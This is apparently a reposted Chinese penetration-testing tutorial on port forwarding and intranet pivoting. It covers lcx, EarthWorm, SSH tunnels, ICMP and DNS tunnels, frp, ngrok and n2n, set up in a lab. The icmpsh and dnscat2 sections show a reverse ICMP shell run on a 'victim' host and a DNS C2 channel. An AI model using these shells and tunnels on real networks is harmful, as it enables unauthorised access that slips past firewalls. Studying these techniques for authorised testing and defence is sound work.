内网穿透及端口转发大合集
2019-12-24 10:36:30 Author: xz.aliyun.com(查看原文) 阅读量:562 收藏

0x00 前言

最近在学习内网穿透及端口转发,这里就简单总结一下部分工具及命令,如有不对的地方,请多多指教。

0x01 代理

学习内网穿透,我觉得第一步需要先了解一下什么是正向代理和反向代理。

正向代理

正向代理即是客户端代理,代理客户端,服务端不知道实际发起请求的客户端。
比如vpn,国内不能直接访问谷歌,可是代理服务器可以访问,客户端可以将数据转发到代理服务器,再由代理服务器转发给谷歌获取到数据,再返回客户端。这里代理的是客户端。

Client --> Proxy <--> Server

反向代理

反向代理即是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。
比如nginx,客户端访问想要服务器的8080端口,可是服务器的8080端口不对外开发,这里通过nginx代理端口,将所有访问80端口的流量都转发到8080端口,这样客户端只需要访问80端口就相当于访问了服务器的8080端口。这里代理的是服务器。

Client <--> Proxy <-- Server

0x02 Lcx

内网IP:192.168.183.168
公网IP:192.168.183.181

端口转发

内网机器上执行命令:lcx.exe –slave 公网IP 端口 内网IP 端口
将内网的3389端口转发到公网的6666端口

lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389
lcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389

公网机器上执行命令:lcx.exe -listen 监听端口 连接端口
将在6666端口接收到的数据转发到2222端口

lcx.exe -listen 6666 2222

使用命令mstsc /v:127.0.0.1:2222即可连接到内网3389端口

端口映射

如果内网机器防火墙禁止3389出站,可以使用tran命令将3389端口映射到其他端口上
内网机器上执行命令:lcx.exe -tran 映射端口 连接IP 连接端口

lcx.exe -tran 66 192.168.183.168 3389

因为实验环境是内网所以直接连接66端口即可访问3389端口,公网还需要端口转发

0x03 EarthWorm

平台地址:http://rootkiter.com/EarthWorm/
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。工具包中提供了多种可执行文件,支持Linux、Windows、MacOS、Arm-Linux 多种平台。
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

其中SOCKS5服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

ssocksd 用来开启Socks5代理服务 
rssocks 本地启用Socks5服务,并反弹到另一IP地址 
rcsocks 接收反弹过来的Socks5服务,并转向另一端口

其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。 
lcx 类别管道:
    lcx_slave,lcx_listen:端口转发
    lcx_tran:端口映射

    lcx_slave  该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    lcx_tran   该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
    通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

工具参数说明:
    -l 开放指定端口监听
    -d 指定转发或反弹的主机地址
    -e 指定转发或反弹的主机端口
    -f 指定连接或映射的主机地址
    -g 指定连接或映射的主机端口
    -t 设置超时时间

普通网络环境

网络环境拓扑:

正向socks5

当目标网络(Server)边界存在公网IP且可任意开监听端口时

ew_for_Win.exe -s ssocksd -l 1080

在Server上通过该命令开启 1080 端口的 socks 代理

其他主机可以通过设置代理为目标IP:1080添加代理,Windows可以使用SocksCap64,我这里是Kali直接修改/etc/proxychains.conf设置代理为目标网络,使用proxychains命令扫描3389端口



数据流向:Kali -> 1080 -> Server

反向socks5

当目标网络边界(Client)不存在公网 IP,需要通过反弹方式创建socks代理
在具有公网IP的Server上执行以下命令:

ew_for_Win.exe -s rcsocks -l 1080 -e 8888

在公网主机中添加转接隧道,将1080收到的代理请求转交给反连8888端口的主机

在Client主机上开启socks代理,并反弹到公网的8888端口

ew_for_Win.exe -s rssocks -d 10.19.11.138 -e 8888

Kali通过访问公网主机的1080端口提供的socks5代理服务来访问目标内网

数据流向:Kali -> 1080 -> Server -> 8888 | 防火墙 | <- Client

二级网络环境

环境一

网络环境拓扑:

在A主机上开启端口为8888的socks代理

ew_for_Win.exe -s ssocksd -l 8888

在B主机上将1080端口收到的socks代理请求转发给A主机的8888端口

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.44.128 -g 8888

Kali通过访问B主机的1080端口提供的socks5代理服务来访问主机A

数据流向:Kali -> 1080 -> Server B -> 8888 -> Server A

环境二

网络环境拓扑:

在VPS上添加转接隧道,将1080收到的代理请求转交给反连8888端口的主机

ew_for_Win.exe -s lcx_listen -l 1080 -e 8888

在A主机上开启端口为9999的socks代理

ew_for_Win.exe -s ssocksd -l 9999

在B主机上利用工具的lcx_slave方式,打通主机A和VPS之间的通讯隧道
当代理成功时,返回VPS可以看到有rssocks cmd_socket OK! 的提示

ew_for_Win.exe -s lcx_slave -d 10.19.11.138 -e 8888 -f 192.168.44.128 -g 9999

Kali通过访问VPS的1080端口提供的socks5代理服务来访问Server A

数据流向:Kali -> 1080 -> VPS -> 8888 | 防火墙 | -> B -> 9999 -> A

0x04 SSH隧道

ssh参数详解:
    -C Enable compression 压缩数据传输
    -q Quiet mode. 安静模式
    -T Disable pseudo-tty allocation. 不占用 shell
    -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
    -N Do not execute a remote command. 不执行远程命令,端口转发就用它
    -L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 
    -R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 
    -D port 指定一个本地机器动态的应用程序端口转发. 
    -g port 允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接

SSH本地转发

语法格式:

ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host

远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到1234端口。

ssh -CfNg -L 2222:127.0.0.1:3306 [email protected]

工作原理:在本地指定一个由ssh监听的转发端口2222,将远程主机的3306端口(127.0.0.1:3306)映射到本地的2222端口,当有主机连接本地映射的2222端口时,本地ssh就将此端口的数据包转发给中间主机VPS,然后VPS再与远程主机端口(127.0.0.1:3306)通信。
数据流向:Kali -> 2222 -> VPS -> 127.0.0.1:3306

SSH远程转发

语法格式:

ssh -R [bind_addr:]remote1_port:host:port remote1

假设kali开了一个80端口的web服务,外网无法访问,使用远程转发,将kali的80端口转发到外网的其他端口,这时候访问外网的端口,就访问到了内网的端口。

ssh -CfNg -R 4444:127.0.0.1:80 [email protected]

此时在192.168.183.195这台主机上访问127.0.0.1:4444端口即可访问到kali的80端口
工作原理:kali在请求外网主机的sshd服务,在外网主机上建立一个套接字监听端口(4444),它是kali的80端口的映射,当有主机连接外网的4444端口时,连接的数据全部转发给kali,再由kali去访问127.0.0.1:80。

这里要注意一点,远程端口转发是由远程主机上的sshd服务控制的,默认配置情况下,sshd服务只允许本地开启的远程转发端口(4444)绑定在环回地址(127.0.0.1)上,即使显式指定了bind_addr也无法覆盖。也就是这里访问127.0.0.1:4444端口可以访问成功,访问192.168.183.195:4444却不能访问成功。

要允许本地的远程转发端口绑定在非环回地址上,需要在外网主机的sshd配置文件中启用"GatewayPorts"项,它的默认值为no,这里将它改为yes。然后重新远程转发一下即可用外网地址访问。

SSH动态转发

本地或远程转发端口和目标端口所代表的应用层协议是一对一的关系,不同的服务就要建立不同的端口,工作很是繁琐,而动态转发只需绑定一个本地端口,而目标端口是根据你发起的请求决定的,比如请求为445端口,通过ssh转发的请求也是445端口。

语法格式:

ssh -D [bind_addr:]port remote

这里举一个最简单的列子:翻墙。国内正常情况下上不了Google,我们可以通过将流量转发到国外的vps上这样就可以正常访问了。
在本地执行以下命令,并查看建立连接情况

ssh -Nfg -D 3333 [email protected]

连接建立成功,设置浏览器到本地主机的3333端口

然后就可以访问Google了

0x05 ICMP隧道

注意:在搭建ICMP隧道的时候切记把自身的icmp关闭
(sysctl -w net.ipv4.icmp_echo_ignore_all=1)

ptunnel

ptunnel,全称“Ping Tunnel”,利用ICMP协议构建通信隧道,实现端到端通信。
网络环境拓扑:

B、C上需要装ptunnel工具,因为这里A只能ping通B,所以让B作为server,即ICMP跳板机

注意:由于通过ICMP协议建立隧道,为了让隧道服务端能够处理收到的ICMP报文,需要禁用系统本身的ICMP响应机制,防止内核响应ping数据包本身。这里先关闭B的ICMP响应机制,否则会出现[err]: Dropping duplicate proxy session request.报错。

在B上运行命令ptunnel

在C上运行命令

ptunnel -p 192.168.137.128 -lp 8888 -da 192.168.44.130  -dp 3389
-p  指定跳板机的IP
-lp 指定转发本地监听的端口
-da 指定最终要访问的目标主机
-dp 指定最终要访问目标主机的端口

此时ICMP隧道就已经打通了,最后在D上访问C的8888端口就相当于访问A的3389端口了

mstsc /v:192.168.137.129:8888

当然这里也可以让B既作为跳板机,又作为代理服务器

icmpsh

icmpsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,其主要优势在于它不需要管理权限即可运行到目标计算机上。
网络环境拓扑:

首先在kali上下载icmpsh并关闭自身的icmp

./icmpsh-m.py <source IP address> <destination IP address>

sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.168.137.129 192.168.137.132

在受害机上运行以下命令

icmpsh.exe -t 192.168.137.129

返回kali查看shell

0x06 DNS隧道

dnscat2

内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具。dnscat2 由客户端和服务端两部分组成。

初始化dnscat2服务端

Server部署
git clone https://github.com/iagox86/dnscat2.git
apt-get install ruby-dev 
cd dnscat2/server/ 
gem install bundler 
bundle install 
ruby ./dnscat2.rb  # 启动服务端

编译客户端

Client部署
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make (如果你在 windows 环境下编译,需要将client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” )

如果目标内网放行了所有的 DNS 请求,那么就可以直接指定 HOST ,通过 UDP53 端口通信,而如果目标内网只允许和受信任的 DNS 服务器通信时就需要申请注意域名,并将运行 dnscat2 server 的服务器指定 Authoritative DNS 服务器。

注意:Dnscat2 默认是加密的,服务端可以通过–security=open关闭加密,可以提高传输的稳定性。
刚刚在启动服务端的时候默认是加密的,需要记下secret待客户端使用

Client运行以下命令发现session建立成功

./dnscat --dns server=192.168.137.129,port=53 --secret=ca7670fc9b8f016b3ccb5749d11eed62

dnscat2指令

返回服务端查看会话,可以通过help查看支持的命令

你可以通过sessions或windows查看当前会话,用session(window) -i 1进入名为1的会话,用help查看支持的命令

如果想返回shell,直接在session 1输入shell创建新的会话,通过ctrl+z返回上一层,选择新的session即可

Iodine

iodine基于C语言开发,分为服务端程序iodined和客户端程序iodine,主要工作模式有直连模式和中继模式两种。iodine支持A、TXT、CNAME、MX、NULL等多种查询请求类型,通过一台DNS服务器即可建立一条数据通道。

网络拓扑:

DNS服务器

由于没有经费就在本地搭个简单的DNS服务器

yum install bind*  #安装bind服务
vim /etc/named.conf  #修改named配置文件

vim /etc/named.rfc1912.zones  #添加需要解析的域名www.dns.com

添加对应的解析文件并修改

cp /var/named/named.localhost /var/named/named.dns.com
vim /var/named/named.dns.com

虽然按照上面配置好了可能还是解析不了,可能有以下几个原因
防火墙开放53端口:firewall-cmd --add-port=53/udp
文件权限:

chown  named.named   /var/named
  chown  named.named   /var/named/*

按照上面配置好后,记得重新启动一下服务systemctl restart named.service,一台简易的dns服务器就搭建起来了,测试一下

服务端

git clone https://github.com/yarrick/iodine
cd iodine
make install
或
apt install iodine(kali默认自带)

make install之后目录下会出现一个bin文件夹,里面有两个可执行文件iodined(服务端)、iodine(客户端)

iodined -f -P 123456 10.1.1.1 www.dns.com
-f 前台显示,运行后一直在命令行等待
-P 认证密码
10.1.1.1 自定义局域网虚拟IP
www.dns.com DNS服务器域名

此时服务端会多出现一块dns0的虚拟网卡,地址是刚刚设置的10.1.1.1

客户端

iodine -f -P 123456 192.168.137.150 www.dns.com
IP为服务器IP
域名需要与服务端保持一致

此时客户端也会多出来一块dns0网卡,地址为10.1.1.2,与服务端的网卡处于同一局域网

测试一下连通性

查看一下路由发现去往10.1.1.0的流量都会走dns隧道

远程登录服务器

0x07 Frp

frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。

在vps上下载相应的frp包,下载地址:https://github.com/fatedier/frp/releases

wget https://github.com/fatedier/frp/releases/download/v0.30.0/frp_0.30.0_linux_amd64.tar.gz
tar zxvf frp_0.30.0_linux_amd64.tar.gz
cd frp_0.30.0_linux_amd64/

解压完以后有如下几个文件

frpc  frpc_full.ini  frpc.ini  frps  frps_full.ini  frps.ini

其中前三个文件为客户端程序及配置文件,后面三个为服务端程序及配置文件。其中frpc_full.ini(frps_full.ini)是全配置文件,里面包含了所有的配置(感兴趣者可以自行研究),当然我们只需要其中的一部分复制到frpc.ini(frps.ini)即可

服务端

编辑服务端配置文件

vim frps.ini
----------------------
[common]
#绑定地址
bind_addr = 0.0.0.0   
#TCP绑定端口
bind_port = 7000
#仪表盘地址
dashboard_addr = 0.0.0.0   
#仪表盘端口
dashboard_port = 7500  
#连接密码 
token = 12345678   
#仪表盘用户名
dashboard_user = admin  
#仪表盘密码 
dashboard_pwd = admin 
#HTTP代理端口  
vhost_http_port = 10080 
#HTTPS代理端口  
vhost_https_port = 10443

运行frps服务端

如上图所示则表示运行成功,此时你可以访问vps_ip:7500 ,账号密码为之前所设置的

注意:当ssh连接断开以后,frps也会停止,为了使frps在后台运行我们可以使用nohup命令

nohup ./frps -c frps.ini &

客户端

编辑客户端配置文件

[common]
#服务器地址
server_addr = x.x.x.x
#服务器绑定端口
server_port = 7000
#服务器连接密码
token = 12345678

 #服务名称(自定义)
[ssh]
#转发协议类型
type = tcp
#本地地址
local_ip = 127.0.0.1
#本地端口
local_port = 22
#远程端口
remote_port = 7001

运行frpc客户端

此时frp隧道已经建立成功,我们可以通过访问vps_ip:7001就相当于访问本地的22端口

不过这里碰到个问题就是用xshell连7001可以连接成功,可是换ssh命令连接就不行,一脸问号???

0x08 Ngork

ngrok是一个反向代理,它能够让你本地的web服务或tcp服务通过公共的端口和外部建立一个安全的通道,使得外网可以访问本地的计算机服务。

去官网注册用户登录:https://dashboard.ngrok.com/get-started ,然后得到自己的token

下载软件到本地计算机,执行cmd命令生成配置文件ngrok.yml

接下来就可以使用命令来穿透了

ngrok.exe tcp 22 
ngrok.exe http 80
ngrok.exe tcp 3389
......

这里我将本地的3389映射到公网,只需执行命令ngrok.exe tcp 3389

然后直接连接0.tcp.ngrok.io:13067即可访问本地的3389端口,不过考虑到服务器在国外,使用连接特别慢,你可以考虑使用ngrok.cc或者自己打一个ngrok服务器

0x09 N2n

n2n是一个二层架构的VPN网络,其中super node提供场所,让两个位于NAT/防火墙之后的edge node进行会面,一旦双方完成首次握手,剩下的数据流就之发生在两个edge node之间。如果有一方的NAT属于对称型(symmetrical),super node则还需继续为双方提供数据包的转发,edge node负责数据流的加解密。

编译安装

git clone https://github.com/meyerd/n2n
apt install subversion build-essential libssl-dev net-tools
cd n2n/n2n_v2/
mkdir build
cd build
cmake ..
make && make install

服务端

服务端也称中心节点(supernode),运行以下命令

supernode -l 7654  #监听7654端口
在vps可以使用nobup设置后台运行
nohup supernode -l 7654 -v &  # -v展示详细信息,方便调试
-----------------------------------
查看supernode进程
ps -ef | grep supernode

注:在N2N v1中,一个Edge只能连接一个Supernode,但在N2N v2中,你可以至多连接两个Supernode。服务端也可以同时当做客户端使用,将服务端加入到虚拟网络中。

客户端

客户端也称边缘节点(edgenode),执行命令加入虚拟局域网

edge -a 10.2.2.2 -c group -k 123456 -l 45.77.xx.xx:7654
-a [内网IP地址]:设置此N2N网络中本机的IP地址
-c [群组名称]:设置本机要加入的N2N网络组名称(一台Edge可以加入多个N2N网络组中,只要保证软件版本一致)
-k [密码]:加入N2N网络组使用的密码
-l [Supernode地址:端口号]:Supernode的地址,带上端口号
-p [外网暴露端口号]:其他Edge访问本机使用的端口号(所有的N2N流量都将流经此端口)
-----------------------------------
查看edge进程
ps -ef | grep edge

执行完以后会多出一块edge0的网卡

在另一台机器上也加入N2N网络,并做连通测试

0x0A 参考

1.https://www.cnblogs.com/f-ck-need-u/p/10482832.html
2.https://cloud.tencent.com/developer/article/1120865
3.https://www.anquanke.com/post/id/163240
4.https://zerokeeper.com/experience/network-port-forwarding-and-penetration.html


文章来源: http://xz.aliyun.com/t/6973
如有侵权请联系:admin#unsafe.sh